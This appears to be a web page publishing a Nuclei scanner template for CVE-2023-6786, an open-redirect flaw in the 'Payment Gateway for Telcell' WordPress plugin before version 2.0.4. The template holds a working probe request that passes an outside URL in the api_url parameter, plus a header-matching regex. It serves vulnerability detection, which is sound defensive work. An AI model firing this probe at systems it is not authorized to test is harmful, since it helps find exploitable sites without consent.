Skip to content

Payment Gateway for Telcell < 2.0.4 - Open Redirect

ID: CVE-2023-6786

Severity: medium

Author: s4e-io

Tags: cve,cve2023,wordpress,redirect,wp-plugin,wp,payment-gateway-for-telcell

The plugin does not validate the api_url parameter before redirecting the user to its value, leading to an Open Redirect issue

id: CVE-2023-6786
info:
name: Payment Gateway for Telcell < 2.0.4 - Open Redirect
author: s4e-io
severity: medium
description: |
The plugin does not validate the api_url parameter before redirecting the user to its value, leading to an Open Redirect issue
remediation: |
Fixed in 2.0.4
reference:
- https://wpscan.com/vulnerability/f3e64947-3138-4ec4-86c4-27b5d6a5c9c2/
- https://nvd.nist.gov/vuln/detail/CVE-2023-6786
classification:
cve-id: CVE-2023-6786
metadata:
max-request: 1
verified: true
publicwww-query: "/wp-content/plugins/payment-gateway-for-telcell"
tags: cve,cve2023,wordpress,redirect,wp-plugin,wp,payment-gateway-for-telcell
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin.php?page=wc-settings&action=redirect_telcell_form&api_url=https://oast.me"
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.me.*$'
# digest: 490a004630440220204179576c2948c122be049a7f1c9be6822e475a32bab2319bae8c529a3de30d02201f5c923994183873f34fa6f44625bcfd710a240490f30d16491481f51c710b4d:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6786.yaml"

View on Github